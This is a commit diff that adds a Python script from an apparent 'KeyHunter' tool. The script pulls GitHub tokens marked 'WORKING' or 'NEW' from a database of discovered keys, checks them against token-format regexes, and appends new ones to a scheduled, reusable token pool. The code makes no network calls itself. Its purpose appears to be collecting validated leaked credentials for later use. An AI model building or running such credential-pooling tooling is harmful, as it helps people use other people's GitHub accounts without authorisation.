KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions
--- a/sync_gh_tokens.py
+++ b/sync_gh_tokens.py
@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+"""D4: sync GitHub tokens from keys.db -> gh_tokens.txt pool.
+
+SELECT val FROM keys WHERE prov IN (GITHUB_*) AND status IN (WORKING, NEW),
+format-filter, dedupe against gh_tokens.txt + data/gh_new_tokens.txt,
+append uniques. Read-append only; never rewrites existing lines.
+Run manually or via schtask kf_ghsync (PT6H).
+"""
+import os
+import re
+import sqlite3
+import sys
+import time
+
+KF_BASE = os.path.dirname(os.path.abspath(__file__))
+DB_PATH = os.environ.get("KF_DB", os.path.join(KF_BASE, "data", "keys.db"))
+TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt")
+NEW_TOKENS_FILE = os.path.join(KF_BASE, "data", "gh_new_tokens.txt")
+
+GH_PROVS = ("GITHUB_PAT", "GITHUB_FINE", "GITHUB_OAUTH", "GITHUB_USER",
+            "GITHUB_SERVER")
+# classic PAT / fine-grained / OAuth app / user / server-to-server / refresh
+TOKEN_RES = (
+    re.compile(r"^ghp_[A-Za-z0-9]{36}$"),
+    re.compile(r"^github_pat_[A-Za-z0-9_]{20,}$"),
+    re.compile(r"^gh[oousr]_[A-Za-z0-9]{30,}$"),
+    re.compile(r"^[0-9a-f]{40}$"),  # GITHUB_USER oauth hex
+)
+
+
+def _valid_token(val):
+    return any(rx.match(val) for rx in TOKEN_RES)
+
+
+def _load_pool(path):
+    if not os.path.exists(path):
+        return set()
+    out = set()
+    with open(path, encoding="utf-8", errors="replace") as f:
+        for ln in f:
+            ln = ln.strip()
+            if ln and not ln.startswith("#"):
+                out.add(ln)
+    return out
+
+
+def main():
+    q = ("SELECT val FROM keys WHERE prov IN (%s) "
+         "AND status IN ('WORKING','NEW')" % ",".join("?" * len(GH_PROVS)))
+    con = sqlite3.connect(DB_PATH)
+    try:
+        rows = con.execute(q, GH_PROVS).fetchall()
+    finally:
+        con.close()
+
+    have = _load_pool(TOKENS_FILE) | _load_pool(NEW_TOKENS_FILE)
+    fresh, seen = [], set()
+    for (val,) in rows:
+        val = (val or "").strip()
+        if not val or val in have or val in seen:
+            continue
+        if not _valid_token(val):
+            continue
+        seen.add(val)
+        fresh.append(val)
+
+    if fresh:
+        with open(TOKENS_FILE, "a", encoding="utf-8") as f:
+            for t in fresh:
+                f.write(t + "\n")
+    print("[%s] db_rows=%d pool_before=%d appended=%d pool_after=%d"
+          % (time.strftime("%Y-%m-%d %H:%M:%S"), len(rows), len(have),
+             len(fresh), len(have) + len(fresh)))
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())